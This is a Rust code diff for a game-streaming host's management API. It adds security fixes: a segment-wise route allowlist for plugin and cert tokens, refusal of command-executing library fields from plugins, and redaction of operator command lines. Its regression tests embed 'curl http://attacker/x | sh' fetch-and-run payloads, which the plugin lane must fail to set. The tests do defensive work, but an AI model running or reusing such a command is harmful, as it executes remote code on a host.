(&Method::DELETE, "/api/v1/session"),
(&Method::POST, "/api/v1/session/idr"),
(&Method::GET, "/api/v1/session/settings"),
(&Method::PUT, "/api/v1/session/settings"),
(&Method::POST, "/api/v1/game/end"),
// Library: reads, plus the provider reconcile a scanner plugin is built around. The
// operator-only FIELDS inside these payloads are refused separately (see `AuthLane`).
(&Method::GET, "/api/v1/library"),
(&Method::GET, "/api/v1/library/art/{}/{}"),
(&Method::GET, "/api/v1/library/scanners"),
(&Method::PUT, "/api/v1/library/scanners/{}"),
(&Method::POST, "/api/v1/library/custom"),
(&Method::PUT, "/api/v1/library/custom/{}"),
(&Method::DELETE, "/api/v1/library/custom/{}"),
(&Method::PUT, "/api/v1/library/provider/{}"),
(&Method::DELETE, "/api/v1/library/provider/{}"),
// Stats / telemetry.
(&Method::POST, "/api/v1/stats/capture/start"),
(&Method::POST, "/api/v1/stats/capture/stop"),
(&Method::GET, "/api/v1/stats/capture/status"),
(&Method::GET, "/api/v1/stats/capture/live"),
(&Method::GET, "/api/v1/stats/recordings"),
(&Method::GET, "/api/v1/stats/recordings/{}"),
(&Method::DELETE, "/api/v1/stats/recordings/{}"),
// The plugin's own directory entry + log ingest (its UI lease registration).
(&Method::GET, "/api/v1/plugins"),
(&Method::POST, "/api/v1/plugins/logs"),
(&Method::PUT, "/api/v1/plugins/{}"),
(&Method::DELETE, "/api/v1/plugins/{}"),
];
ALLOWED
.iter()
.any(|(m, pat)| *m == method && path_matches(pat, path))
}
/// Match a route pattern against a concrete path, `{}` standing for exactly one segment. Segment-
/// wise (never a substring/prefix test), so `/api/v1/plugins/{}` cannot swallow
/// `/api/v1/plugins/x/ui-credential` the way a `starts_with` would.
fn path_matches(pattern: &str, path: &str) -> bool {
let (mut p, mut a) = (pattern.split('/'), path.split('/'));
loop {
match (p.next(), a.next()) {
(None, None) => return true,
(Some(pe), Some(ae)) if pe == "{}" || pe == ae => continue,
_ => return false,
}
}
}
/// Which routes a paired *streaming* cert (mTLS, no bearer token) may reach: a small allowlist of
+148 -23
View File
@@ -1,8 +1,46 @@
//! Library-tagged management endpoints: installed-store + custom game entries and box art.
//! Split out of the `mgmt` facade (plan §W5).
use super::auth::AuthLane;
use super::shared::*;
use axum::http::header;
use axum::Extension;
/// Refuse a write whose payload carries an operator-privileged field to a lane that may not set one
/// (2026-08-05 review H-1), and refuse any local art path the proxy would not serve back (H-2).
///
/// Both checks belong here rather than in the route gate: `PUT /library/provider/{p}` is a route a
/// provider plugin must be able to call — reconciling its own entry set is the whole point of a
/// scanner plugin — while `prep` / `launch.kind = "command"` inside that payload are the operator's
/// authority alone. Route reachability and field authority are separate questions.
///
/// `Some(response)` is the refusal to return; `None` means the payload may proceed. Deliberately
/// not `Result<(), Response>`: the "error" here IS the response the handler sends, so there is no
/// error value to propagate, and a 128-byte `Response` in an `Err` variant is what
/// `clippy::result_large_err` objects to.
fn check_entry_fields(
lane: AuthLane,
art: &crate::library::Artwork,
launch: Option<&crate::library::LaunchSpec>,
prep: &[crate::hooks::PrepCmd],
) -> Option<Response> {
if !lane.may_set_privileged_fields() {
if let Some(field) = crate::library::privileged_field(launch, prep) {
return Some(api_error(
StatusCode::FORBIDDEN,
&format!(
"`{field}` is executed as the host user and may only be set with the \
operator's admin token a plugin may publish entries with any host-resolved \
launch kind (steam_appid, steam_ui, launcher_ui, epic, gog, aumid, lutris_id, heroic) \
instead"
),
));
}
}
crate::library::validate_art_paths(art)
.err()
.map(|e| api_error(StatusCode::BAD_REQUEST, &e))
}
#[derive(Deserialize)]
pub(crate) struct LibraryQuery {
@@ -34,6 +72,7 @@ pub(crate) struct LibraryQuery {
)
)]
pub(crate) async fn get_library(
Extension(lane): Extension<AuthLane>,
Query(q): Query<LibraryQuery>,
) -> Json<Vec<crate::library::GameEntry>> {
let mut games = crate::library::all_games();
@@ -54,6 +93,24 @@ pub(crate) async fn get_library(
for g in &mut games {
crate::library::proxy_local_art(&g.id, &mut g.art);
}
// Redact the operator's command lines for every lane but their own (2026-08-05 review L-1).
//
// `cert_may_access` allows `GET /library`, so this response goes to every paired STREAMING
// client on the LAN — and for a custom entry `launch.value` is the raw shell command or
// absolute exe path the operator typed. The adjacent `detect` field is `#[serde(skip)]` for
// exactly this reason; `launch` simply never got the same treatment. Clients don't need it:
// a client picks a title by ID and the host resolves the recipe itself (`resolve_launch`),
// which is the invariant that stops a client injecting a command in the first place. The
// `kind` stays, so "this is launchable, and how" still renders.
if !lane.may_set_privileged_fields() {
for g in &mut games {
if let Some(l) = g.launch.as_mut() {
if l.kind == "command" {
l.value.clear();
}
}
}
}
Json(games)
}
@@ -141,11 +198,15 @@ pub(crate) async fn set_library_scanner(
)
)]
pub(crate) async fn create_custom_game(
Extension(lane): Extension<AuthLane>,
ApiJson(input): ApiJson<crate::library::CustomInput>,
) -> Response {
if input.title.trim().is_empty() {
return api_error(StatusCode::BAD_REQUEST, "title must not be empty");
}
if let Some(denied) = check_entry_fields(lane, &input.art, input.launch.as_ref(), &input.prep) {
return denied;
}
match crate::library::add_custom(input) {
Ok(entry) => (StatusCode::CREATED, Json(entry)).into_response(),
Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()),
@@ -169,12 +230,16 @@ pub(crate) async fn create_custom_game(
)
)]
pub(crate) async fn update_custom_game(
Extension(lane): Extension<AuthLane>,
Path(id): Path<String>,
ApiJson(input): ApiJson<crate::library::CustomInput>,
) -> Response {
if input.title.trim().is_empty() {
return api_error(StatusCode::BAD_REQUEST, "title must not be empty");
}
if let Some(denied) = check_entry_fields(lane, &input.art, input.launch.as_ref(), &input.prep) {
return denied;
}
use crate::library::MutateOutcome;
match crate::library::update_custom(&id, input) {
Ok(MutateOutcome::Done(entry)) => Json(entry).into_response(),
@@ -185,6 +250,11 @@ pub(crate) async fn update_custom_game(
StatusCode::CONFLICT,
&format!("entry is owned by provider `{p}` — update it through its reconcile"),
),
// Store claims are a reconcile-only concern — the manual CRUD never requests one.
Ok(MutateOutcome::StoreClaimed { .. }) => api_error(
StatusCode::INTERNAL_SERVER_ERROR,
"unexpected claim outcome",
),
Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()),
}
}
@@ -216,6 +286,11 @@ pub(crate) async fn delete_custom_game(Path(id): Path<String>) -> Response {
"entry is owned by provider `{p}` — remove it there, or DELETE the provider set"
),
),
// Store claims are a reconcile-only concern — the manual CRUD never requests one.
Ok(MutateOutcome::StoreClaimed { .. }) => api_error(
StatusCode::INTERNAL_SERVER_ERROR,
"unexpected claim outcome",
),
Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()),
}
}
@@ -227,6 +302,13 @@ pub(crate) struct ProviderRemoved {
removed: usize,
}
/// Query for `reconcileProviderEntries` — the optional store claim (D2).
#[derive(Deserialize)]
pub(crate) struct ReconcileQuery {
/// Claim this store for the provider, so its entries take the store's own identity.
store: Option<String>,
}
/// Replace a provider's library entries (declarative reconcile)
///
/// Atomically replaces the full entry set owned by `{provider}` (RFC §8): the payload is the
@@ -234,39 +316,80 @@ pub(crate) struct ProviderRemoved {
/// surviving title's host id stable across reconciles, drops orphans, and never touches manual
/// entries or other providers'. An empty array removes everything the provider owns. Emits
/// `library.changed` with the provider as `source`.
///
/// `?store=` additionally **claims** that store for the provider: its entries then surface with
/// deterministic `<store>:<external_id>` ids and the store's own badge, instead of opaque
/// `custom:<id>` ones — which is what lets a library plugin reproduce the entries an in-host scanner
/// used to produce, right down to the GameStream app ids and client-side art caches. One provider
/// per store; a second claimant gets 409. While a claim is held the matching built-in scanner is
/// suppressed, so the two never double-list. The claim is released by `DELETE`, not by an empty
/// reconcile (a store can legitimately have zero installed titles).
#[utoipa::path(
put,
path = "/library/provider/{provider}",
tag = "library",
operation_id = "reconcileProviderEntries",
params(("provider" = String, Path, description = "The provider id ([a-z0-9._-], `manual` reserved)")),
params(
("provider" = String, Path, description = "The provider id ([a-z0-9._-], `manual` reserved)"),
("store" = Option<String>, Query, description = "Claim this store for the provider ([a-z0-9_-], `custom`/`manual` reserved)"),
),
request_body = Vec<crate::library::ProviderEntryInput>,
responses(
(status = OK, description = "The provider's resulting entries (host ids assigned/kept)", body = [crate::library::CustomEntry]),
(status = BAD_REQUEST, description = "Invalid provider id or payload", body = ApiError),
(status = BAD_REQUEST, description = "Invalid provider id, store id, or payload", body = ApiError),
(status = UNAUTHORIZED, description = "Missing or invalid bearer token", body = ApiError),
(status = CONFLICT, description = "That store is already claimed by another provider", body = ApiError),
(status = INTERNAL_SERVER_ERROR, description = "Could not persist the catalog", body = ApiError),
)
)]
pub(crate) async fn reconcile_provider_entries(
Extension(lane): Extension<AuthLane>,
Path(provider): Path<String>,
Query(q): Query<ReconcileQuery>,
ApiJson(inputs): ApiJson<Vec<crate::library::ProviderEntryInput>>,
) -> Response {
if let Err(e) = crate::library::validate_provider_name(&provider) {
return api_error(StatusCode::BAD_REQUEST, &e);
}
let store = q.store.filter(|s| !s.is_empty());
if let Some(store) = &store {
if let Err(e) = crate::library::validate_store_claim(store) {
return api_error(StatusCode::BAD_REQUEST, &e);
}
}
if let Err(e) = crate::library::validate_provider_payload(&inputs) {
return api_error(StatusCode::BAD_REQUEST, &e);
}
match crate::library::reconcile_provider(&provider, inputs) {
Ok(entries) => {
// Every entry in the payload, not just the first — a reconcile replaces a whole entry set, so
// one privileged field anywhere in it is one command execution.
for (i, e) in inputs.iter().enumerate() {
if let Some(denied) = check_entry_fields(lane, &e.art, e.launch.as_ref(), &e.prep) {
tracing::warn!(
provider,
index = i,
"library reconcile refused: payload carries a field this lane may not set"
);
return denied;
}
}
match crate::library::reconcile_provider(&provider, store.as_deref(), inputs) {
Ok(crate::library::MutateOutcome::Done(entries)) => {
tracing::info!(
provider,
store = store.as_deref().unwrap_or("-"),
count = entries.len(),
"library provider reconciled"
);
Json(entries).into_response()
}
Ok(crate::library::MutateOutcome::StoreClaimed { store, provider }) => api_error(
StatusCode::CONFLICT,
&format!("store `{store}` is already claimed by provider `{provider}`"),
),
Ok(_) => api_error(
StatusCode::INTERNAL_SERVER_ERROR,
"unexpected reconcile outcome",
),
Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()),
}
}
@@ -306,11 +429,12 @@ pub(crate) async fn delete_provider_entries(Path(provider): Path<String>) -> Res
/// Fetch one cover-art image for a library entry
///
/// Resolves `kind` (`portrait` | `hero` | `logo` | `header`) for the given library id and streams
/// the image bytes. For a Steam title, the host's own local Steam cache is tried first (exact —
/// it's what the user's Steam client already shows for it), the public Steam CDN's flat URL
/// convention as a fallback (newer titles' CDN assets can live at a per-asset-hash path the host
/// can't predict, in which case this 404s and the client falls through to its next art candidate).
/// Only Steam ids are backed today; any other store 404s.
/// the image bytes. Any id stored in the host's catalog (manual entries, provider-synced entries,
/// and a library plugin's claimed-store entries) serves its local art file. A Steam title falls back
/// to the in-host scanner's resolver: the host's own local Steam cache first (exact — it's what the
/// user's Steam client already shows for it), the public Steam CDN's flat URL convention second
/// (newer titles' CDN assets can live at a per-asset-hash path the host can't predict, in which case
/// this 404s and the client falls through to its next art candidate).
#[utoipa::path(
get,
path = "/library/art/{id}/{kind}",
@@ -330,7 +454,20 @@ pub(crate) async fn get_library_art(Path((id, kind)): Path<(String, String)>) ->
let Some(kind) = crate::library::ArtKind::parse(&kind) else {
return api_error(StatusCode::NOT_FOUND, "unknown art kind");
};
// Steam: CDN / local-cache proxy (id `steam:<appid>`).
// `library.json` FIRST, for ANY id (WP1.2). Stored entries — manual, provider-synced, and (once
// store claims land) a scanner plugin's `steam:570` — all serve their local art file from here,
// so the proxy never has to know which store an id belongs to. Steam ids aren't stored today, so
// this misses and the legacy branch below still answers them.
let stored = {
let id = id.clone();
tokio::task::spawn_blocking(move || crate::library::library_local_art_bytes(&id, kind))
.await
};
if let Ok(Some((bytes, ctype))) = stored {
return ([(header::CONTENT_TYPE, ctype)], bytes).into_response();
}
// Legacy in-host Steam scanner: local Steam cache, then the flat CDN URL. Retired with the
// scanner itself once the steam plugin claims the store (M6).
if let Some(appid) = id
.strip_prefix("steam:")
.and_then(|s| s.parse::<u32>().ok())
@@ -344,17 +481,5 @@ pub(crate) async fn get_library_art(Path((id, kind)): Path<(String, String)>) ->
_ => api_error(StatusCode::NOT_FOUND, "no art of that kind for this title"),
};
}
// Custom/provider entry (id `custom:<id>`): serve its stored LOCAL art file — e.g. the Playnite
// plugin's covers, reconciled as on-host paths rather than inlined bytes.
if let Some(cid) = id.strip_prefix("custom:").map(str::to_owned) {
return match tokio::task::spawn_blocking(move || {
crate::library::custom_local_art_bytes(&cid, kind)
})
.await
{
Ok(Some((bytes, ctype))) => ([(header::CONTENT_TYPE, ctype)], bytes).into_response(),
_ => api_error(StatusCode::NOT_FOUND, "no art of that kind for this title"),
};
}
api_error(StatusCode::NOT_FOUND, "no art proxy for this store")
api_error(StatusCode::NOT_FOUND, "no art of that kind for this title")
}
+71 -6
View File
@@ -64,6 +64,14 @@ pub(crate) struct PluginRegistration {
/// entry only (e.g. a future runner-management listing) and grows no nav entry.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub ui: Option<PluginUi>,
/// What KIND of plugin this is (`^[a-z][a-z0-9-]{0,31}$`), top-level rather than under `ui`
/// because it describes the plugin, not its surface. The console knows one value today —
/// `library` — which it filters **out of the nav**: six installed scanner plugins would otherwise
/// flood the sidebar, and their real entry point is the Game sources surface (design D5). A
/// library plugin that genuinely wants its own page (rom-manager, which is much more than a
/// scanner) simply omits the category.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub category: Option<String>,
}
/// One log line produced by the runner or a plugin inside it (`POST /plugins/logs`).
@@ -104,6 +112,9 @@ pub(crate) struct PluginSummary {
pub version: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub ui: Option<PluginUiPublic>,
/// The plugin's kind — see [`PluginRegistration::category`].
#[serde(skip_serializing_if = "Option::is_none")]
pub category: Option<String>,
}
/// `GET /plugins/{id}/ui-credential` — the console proxy's server-side lookup (bearer + loopback).
@@ -129,14 +140,19 @@ struct Stored {
title: String,
version: Option<String>,
ui: Option<StoredUi>,
category: Option<String>,
expires_at: Instant,
}
impl Stored {
/// Do the operator-visible fields match (ignoring the lease clock)? A pure lease renewal leaves
/// these unchanged and emits no event; a restart (new secret) or a re-scan (new title/icon) does.
fn public_eq(&self, title: &str, version: &Option<String>, ui: &Option<StoredUi>) -> bool {
self.title == title && self.version == *version && self.ui == *ui
/// these unchanged and emits no event; a restart (new secret) or a re-scan (new title/icon/
/// category) does.
fn public_eq(&self, v: &Valid) -> bool {
self.title == v.title
&& self.version == v.version
&& self.ui == v.ui
&& self.category == v.category
}
}
@@ -150,6 +166,7 @@ struct Valid {
title: String,
version: Option<String>,
ui: Option<StoredUi>,
category: Option<String>,
}
impl PluginRegistry {
@@ -167,7 +184,7 @@ impl PluginRegistry {
let mut map = self.inner.write().unwrap_or_else(|e| e.into_inner());
let changed = match map.get(id) {
// An *expired* prior entry counts as a change (it had stopped listing).
Some(prev) => !prev.is_live() || !prev.public_eq(&v.title, &v.version, &v.ui),
Some(prev) => !prev.is_live() || !prev.public_eq(&v),
None => true,
};
map.insert(
@@ -176,6 +193,7 @@ impl PluginRegistry {
title: v.title,
version: v.version,
ui: v.ui,
category: v.category,
expires_at,
},
);
@@ -207,6 +225,7 @@ impl PluginRegistry {
port: u.port,
icon: u.icon.clone(),
}),
category: s.category.clone(),
})
.collect();
live.sort_by(|a, b| a.title.cmp(&b.title).then_with(|| a.id.cmp(&b.id)));
@@ -333,7 +352,31 @@ fn validate(reg: PluginRegistration) -> Result<Valid, String> {
Some(u) => Some(validate_ui(u)?),
None => None,
};
Ok(Valid { title, version, ui })
// Categories are grouping keys the console switches on — a closed charset, but deliberately not
// a closed VOCABULARY: an unknown category is stored and simply matches no console rule, so a
// newer plugin registering against an older host degrades to "shows in the nav", never to a
// failed registration.
let category = match reg.category {
Some(c) => {
let ok = (1..=32).contains(&c.len())
&& c.starts_with(|ch: char| ch.is_ascii_lowercase())
&& c.bytes()
.all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-');
if !ok {
return Err(
"category must be 132 chars of [a-z0-9-], starting with a letter".into(),
);
}
Some(c)
}
None => None,
};
Ok(Valid {
title,
version,
ui,
category,
})
}
fn validate_ui(u: PluginUi) -> Result<StoredUi, String> {
@@ -558,6 +601,7 @@ mod tests {
secret: secret.into(),
icon: Some("gamepad-2".into()),
}),
category: None,
}
}
@@ -584,10 +628,30 @@ mod tests {
title: "Ro\u{7}m\n".into(),
version: None,
ui: None,
category: None,
})
.unwrap();
assert_eq!(v.title, "Rom");
// privileged port rejected
// Category charset (WP2.7): the console's one known value passes; the shapes that would
// break a grouping key don't. An UNKNOWN-but-well-formed category is accepted on purpose —
// a newer plugin must not fail to register against an older host.
let lib = |c: &str| PluginRegistration {
title: "X".into(),
version: None,
ui: None,
category: Some(c.into()),
};
assert_eq!(
validate(lib("library")).unwrap().category.as_deref(),
Some("library")
);
assert!(validate(lib("some-future-kind")).is_ok());
assert!(validate(lib("")).is_err());
assert!(validate(lib("Library")).is_err()); // no uppercase
assert!(validate(lib("9lives")).is_err()); // must start with a letter
assert!(validate(lib("lib_rary")).is_err()); // no underscore
assert!(validate(lib(&"a".repeat(33))).is_err()); // too long
// privileged port rejected
assert!(validate(reg("x", 80, SECRET)).is_err());
// short secret rejected
assert!(validate(reg("x", 49321, "tooshort")).is_err());
@@ -641,6 +705,7 @@ mod tests {
title: "Headless".into(),
version: None,
ui: None,
category: None,
})
.unwrap(),
);
+10
View File
@@ -108,6 +108,14 @@ pub(crate) struct CatalogEntry {
/// A revocation covering the catalogued version — do not offer this without shouting.
#[serde(skip_serializing_if = "Option::is_none")]
pub blocked: Option<String>,
/// What kind of plugin this is — the console filters Browse by these, and the Game sources
/// surface's "Add a source" rail shows exactly the `library` ones (design D5/D6).
pub categories: Vec<String>,
/// Whether the launcher this plugin scans looks **installed on this host** (design D8), from the
/// index's own existence probes. `null` = the entry declares no probes for this platform, which
/// the console renders as "unknown" rather than "not installed".
#[serde(skip_serializing_if = "Option::is_none")]
pub detected: Option<bool>,
}
#[derive(Serialize, ToSchema)]
@@ -277,6 +285,8 @@ fn build_catalog(force: bool) -> CatalogResponse {
update_available: installed_version.as_deref().is_some_and(|v| v != e.version),
installed_version,
blocked: store::advisory_for(&e.pkg, Some(&e.version)).map(|a| a.reason),
categories: e.categories.clone(),
detected: e.detected(),
});
}
}
+291
View File
@@ -1042,6 +1042,297 @@ async fn plugin_log_ingest_lands_in_the_ring() {
assert_eq!(status, StatusCode::BAD_REQUEST);
}
/// **The plugin lane reaches the library writes but cannot make them run a command** — the H-1 fix.
///
/// A provider plugin must be able to reconcile its own entry set, so the ROUTE stays open to it.
/// What is refused is the pair of fields inside the payload that the host later executes verbatim as
/// the host user (`/bin/sh -c` on Linux, `cmd.exe /c` on Windows): `prep`, and a `command` launch.
/// Those are the operator's authority, and the whole trust argument at their execution sites is that
/// a human typed them into the admin console.
#[tokio::test]
async fn plugin_lane_cannot_set_command_execution_fields() {
let app = test_app(test_state(), None); // admin "test-secret", plugin "plugin-secret"
let as_lane = |token: &str, method: &str, path: &str, body: serde_json::Value| {
axum::http::Request::builder()
.method(method)
.uri(path)
.header("content-type", "application/json")
.header("authorization", format!("Bearer {token}"))
.body(Body::from(body.to_string()))
.unwrap()
};
// The two shapes of the primitive, on the two routes that carry it.
let prep = serde_json::json!({
"title": "Pwned",
"prep": [{"do": "curl http://attacker/x | sh"}],
});
let command = serde_json::json!({
"title": "Pwned",
"launch": {"kind": "command", "value": "curl http://attacker/x | sh"},
});
for (path, method) in [
("/api/v1/library/custom", "POST"),
("/api/v1/library/custom/some-id", "PUT"),
] {
for body in [&prep, &command] {
let (status, err) =
send(&app, as_lane("plugin-secret", method, path, body.clone())).await;
assert_eq!(
status,
StatusCode::FORBIDDEN,
"plugin token must not set an executed field via {method} {path}"
);
assert!(
err["error"].as_str().unwrap().contains("host user"),
"the refusal should say why: {err}"
);
}
}
// The reconcile route replaces a WHOLE entry set, so every entry is checked — not just the
// first. A payload that hides the primitive behind a benign leading entry is still refused.
let sneaky = serde_json::json!([
{"external_id": "a", "title": "Innocent"},
{"external_id": "b", "title": "Pwned",
"launch": {"kind": "command", "value": "curl http://attacker/x | sh"}},
]);
let (status, _) = send(
&app,
as_lane(
"plugin-secret",
"PUT",
"/api/v1/library/provider/romm",
sneaky,
),
)
.await;
assert_eq!(
status,
StatusCode::FORBIDDEN,
"a privileged field anywhere in a reconcile payload must be refused"
);
// Every refusal above happens BEFORE the catalog is touched, so this test never writes to the
// host config dir. The converse — that the operator's own lane may set these fields, and that a
// plugin's ordinary catalogue is unaffected — is `library::tests::privileged_field_is_command_
// execution_only`, which needs no filesystem either.
assert!(
crate::mgmt::auth::AuthLane::Admin.may_set_privileged_fields(),
"the operator's token is the lane these fields belong to"
);
assert!(!crate::mgmt::auth::AuthLane::Plugin.may_set_privileged_fields());
assert!(!crate::mgmt::auth::AuthLane::Cert.may_set_privileged_fields());
}
/// **Every route in the live table is explicitly classified for both non-admin lanes.**
///
/// This is the test whose absence produced H-1 and H-2 in the 2026-08-05 review. `plugin_may_access`
/// used to be a denylist, so a route added after the list was written was granted to the plugin
/// token silently and no test failed — which is exactly how `/api/v1/library`'s two copies of the
/// command-execution primitive, and the unconfined art proxy, ended up on the plugin lane across
/// ~1450 commits.
///
/// The gate is an allowlist now, so the failure mode has flipped: a new route is DENIED until it is
/// classified. This test makes that classification a conscious, reviewed act rather than a silent
/// default in either direction — adding a route fails the build until its row is added here, and the
/// row is where a reviewer looks to ask "should a plugin really reach this?".
#[test]
fn every_route_is_classified_for_the_plugin_and_cert_lanes() {
use axum::http::Method;
// (method, path template, plugin token may reach, paired streaming cert may reach).
// EXHAUSTIVE over the live route table — no wildcards, no prefixes, one row per operation.
const EXPECTED: &[(&str, &str, bool, bool)] = &[
// ---- host / status: readable by a plugin; the small read-only set is the cert lane's.
("GET", "/api/v1/health", true, false), // always open, handled before either gate
("GET", "/api/v1/host", true, true),
("GET", "/api/v1/status", true, true),
("GET", "/api/v1/local/summary", true, false), // loopback-only, handled before the gates
("GET", "/api/v1/compositors", true, true),
("GET", "/api/v1/events", true, false),
("GET", "/api/v1/logs", true, false),
// ---- paired-device rosters: readable by a plugin, never by another paired client, and
// removal is pairing administration in both lanes.
("GET", "/api/v1/clients", true, false),
("DELETE", "/api/v1/clients/{fingerprint}", false, false),
("GET", "/api/v1/native/clients", true, false),
(
"DELETE",
"/api/v1/native/clients/{fingerprint}",
false,
false,
),
// ---- pairing administration + PIN visibility: the operator's token alone.
("GET", "/api/v1/pair", false, false),
("POST", "/api/v1/pair/pin", false, false),
("GET", "/api/v1/native/pair", false, false),
("DELETE", "/api/v1/native/pair", false, false),
("POST", "/api/v1/native/pair/arm", false, false),
("GET", "/api/v1/native/pending", false, false),
("POST", "/api/v1/native/pending/{id}/approve", false, false),
("POST", "/api/v1/native/pending/{id}/deny", false, false),
// ---- GPU + display: host configuration, no privilege boundary.
("GET", "/api/v1/gpus", true, false),
("PUT", "/api/v1/gpus/preference", true, false),
("GET", "/api/v1/display/settings", true, false),
("PUT", "/api/v1/display/settings", true, false),
("GET", "/api/v1/display/state", true, false),
("GET", "/api/v1/display/monitors", true, false),
("PUT", "/api/v1/display/layout", true, false),
("POST", "/api/v1/display/release", true, false),
("GET", "/api/v1/display/presets", true, false),
("POST", "/api/v1/display/presets", true, false),
("PUT", "/api/v1/display/presets/{id}", true, false),
("DELETE", "/api/v1/display/presets/{id}", true, false),
// ---- session control.
("DELETE", "/api/v1/session", true, false),
("POST", "/api/v1/session/idr", true, false),
("GET", "/api/v1/session/settings", true, false),
("PUT", "/api/v1/session/settings", true, false),
("POST", "/api/v1/game/end", true, false),
// ---- library. The plugin lane reaches the writes (a scanner plugin's whole job), but the
// operator-privileged FIELDS inside those payloads are refused in the handler — see
// `plugin_lane_cannot_set_command_execution_fields`.
("GET", "/api/v1/library", true, true),
("GET", "/api/v1/library/art/{id}/{kind}", true, true),
("GET", "/api/v1/library/scanners", true, false),
("PUT", "/api/v1/library/scanners/{id}", true, false),
("POST", "/api/v1/library/custom", true, false),
("PUT", "/api/v1/library/custom/{id}", true, false),
("DELETE", "/api/v1/library/custom/{id}", true, false),
("PUT", "/api/v1/library/provider/{provider}", true, false),
("DELETE", "/api/v1/library/provider/{provider}", true, false),
// ---- stats.
("POST", "/api/v1/stats/capture/start", true, false),
("POST", "/api/v1/stats/capture/stop", true, false),
("GET", "/api/v1/stats/capture/status", true, false),
("GET", "/api/v1/stats/capture/live", true, false),
("GET", "/api/v1/stats/recordings", true, false),
("GET", "/api/v1/stats/recordings/{id}", true, false),
("DELETE", "/api/v1/stats/recordings/{id}", true, false),
// ---- plugins: its own directory entry and log ingest, never another plugin's UI secret.
("GET", "/api/v1/plugins", true, false),
("POST", "/api/v1/plugins/logs", true, false),
("PUT", "/api/v1/plugins/{id}", true, false),
("DELETE", "/api/v1/plugins/{id}", true, false),
("GET", "/api/v1/plugins/{id}/ui-credential", false, false),
// ---- hooks: writing is command execution as the host user; reading exposes webhook creds.
("GET", "/api/v1/hooks", false, false),
("PUT", "/api/v1/hooks", false, false),
// ---- the store: installing a plugin runs new code with operator privileges.
("GET", "/api/v1/store/catalog", false, false),
("POST", "/api/v1/store/refresh", false, false),
("GET", "/api/v1/store/installed", false, false),
("POST", "/api/v1/store/install", false, false),
("POST", "/api/v1/store/uninstall", false, false),
("GET", "/api/v1/store/jobs", false, false),
("GET", "/api/v1/store/jobs/{id}", false, false),
("GET", "/api/v1/store/sources", false, false),
("PUT", "/api/v1/store/sources/{name}", false, false),
("DELETE", "/api/v1/store/sources/{name}", false, false),
("GET", "/api/v1/store/runtime", false, false),
("POST", "/api/v1/store/runtime", false, false),
// ---- updates: `apply` runs an installer / the root helper.
("GET", "/api/v1/update/status", false, false),
("POST", "/api/v1/update/check", false, false),
("POST", "/api/v1/update/apply", false, false),
];
/// A path template's concrete form: every `{param}` segment becomes a literal, so the gates
/// are exercised on the shape a real request has.
fn concrete(template: &str) -> String {
template
.split('/')
.map(|s| if s.starts_with('{') { "sample" } else { s })
.collect::<Vec<_>>()
.join("/")
}
let doc: serde_json::Value = serde_json::from_str(&openapi_json()).unwrap();
let mut live: Vec<(String, String)> = Vec::new();
for (path, ops) in doc["paths"].as_object().unwrap() {
for method in ops.as_object().unwrap().keys() {
if matches!(method.as_str(), "get" | "post" | "put" | "delete" | "patch") {
live.push((method.to_uppercase(), path.clone()));
}
}
}
// 1. Every LIVE route has a classification row. A new route fails here until it gets one.
for (method, path) in &live {
assert!(
EXPECTED
.iter()
.any(|(m, p, _, _)| m == method && p == path),
"route {method} {path} has no lane classification — add a row to EXPECTED in this test \
and decide, deliberately, whether the plugin token and a paired streaming cert may \
reach it"
);
}
// 2. No STALE rows: a removed route must not leave a classification behind claiming coverage.
for (method, path, _, _) in EXPECTED {
assert!(
live.iter().any(|(m, p)| m == method && p == path),
"EXPECTED lists {method} {path}, which is not in the live route table — remove the row"
);
}
// 3. The gates agree with the classification, on both lanes.
for (method, path, plugin_ok, cert_ok) in EXPECTED {
let m = Method::from_bytes(method.as_bytes()).unwrap();
let concrete = concrete(path);
assert_eq!(
auth::plugin_may_access(&m, &concrete),
*plugin_ok,
"plugin lane: {method} {path} should be {}",
if *plugin_ok { "reachable" } else { "denied" }
);
assert_eq!(
auth::cert_may_access(&m, &concrete),
*cert_ok,
"cert lane: {method} {path} should be {}",
if *cert_ok { "reachable" } else { "denied" }
);
}
}
/// The allowlist is segment-wise, so a route that merely *starts with* an allowed one is not
/// swallowed by it — the failure that a `starts_with` denylist/allowlist invites.
#[test]
fn plugin_allowlist_matches_whole_segments_only() {
use axum::http::Method;
// The UI credential sits one segment below an allowed route and must stay denied.
assert!(auth::plugin_may_access(
&Method::PUT,
"/api/v1/plugins/rom-manager"
));
assert!(!auth::plugin_may_access(
&Method::GET,
"/api/v1/plugins/rom-manager/ui-credential"
));
// A hypothetical future sub-route of an allowed route is denied until classified.
assert!(!auth::plugin_may_access(
&Method::GET,
"/api/v1/library/secrets"
));
assert!(!auth::plugin_may_access(
&Method::POST,
"/api/v1/session/settings/x"
));
// Method matters: the roster is readable, its removal is not.
assert!(auth::plugin_may_access(&Method::GET, "/api/v1/clients"));
assert!(!auth::plugin_may_access(
&Method::DELETE,
"/api/v1/clients/aabbcc"
));
// A path prefix that is not a segment prefix must not match at all.
assert!(!auth::plugin_may_access(&Method::GET, "/api/v1/statuses"));
assert!(!auth::plugin_may_access(
&Method::GET,
"/api/v1/library-secrets"
));
}
/// The OpenAPI document lists every route with a unique operationId (codegen relies
/// on both), and the checked-in copy is current.
#[test]
+8 -4
View File
@@ -45,7 +45,14 @@ fn load_or_generate_impl(env_var: &str, file: &str) -> Result<String> {
return Ok(v.to_string());
}
}
let path = pf_paths::config_dir().join(file);
let dir = pf_paths::config_dir();
// Owner-private dir (0700 Unix / DACL-locked Windows) so the token can't leak via the config
// path — applied BEFORE the read, not just before the write (2026-08-05 review M-1). Reading an
// existing token out of a directory a local user could still write means adopting whatever they
// put there: the mgmt token IS full admin on this host, so a planted one is a handed-over
// control plane, and it would be honoured for the life of the install.
pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?;
let path = dir.join(file);
if let Ok(contents) = fs::read_to_string(&path) {
if let Some(tok) = parse_token(&contents, env_var) {
return Ok(tok);
@@ -54,9 +61,6 @@ fn load_or_generate_impl(env_var: &str, file: &str) -> Result<String> {
let mut buf = [0u8; 32];
rand::thread_rng().fill_bytes(&mut buf);
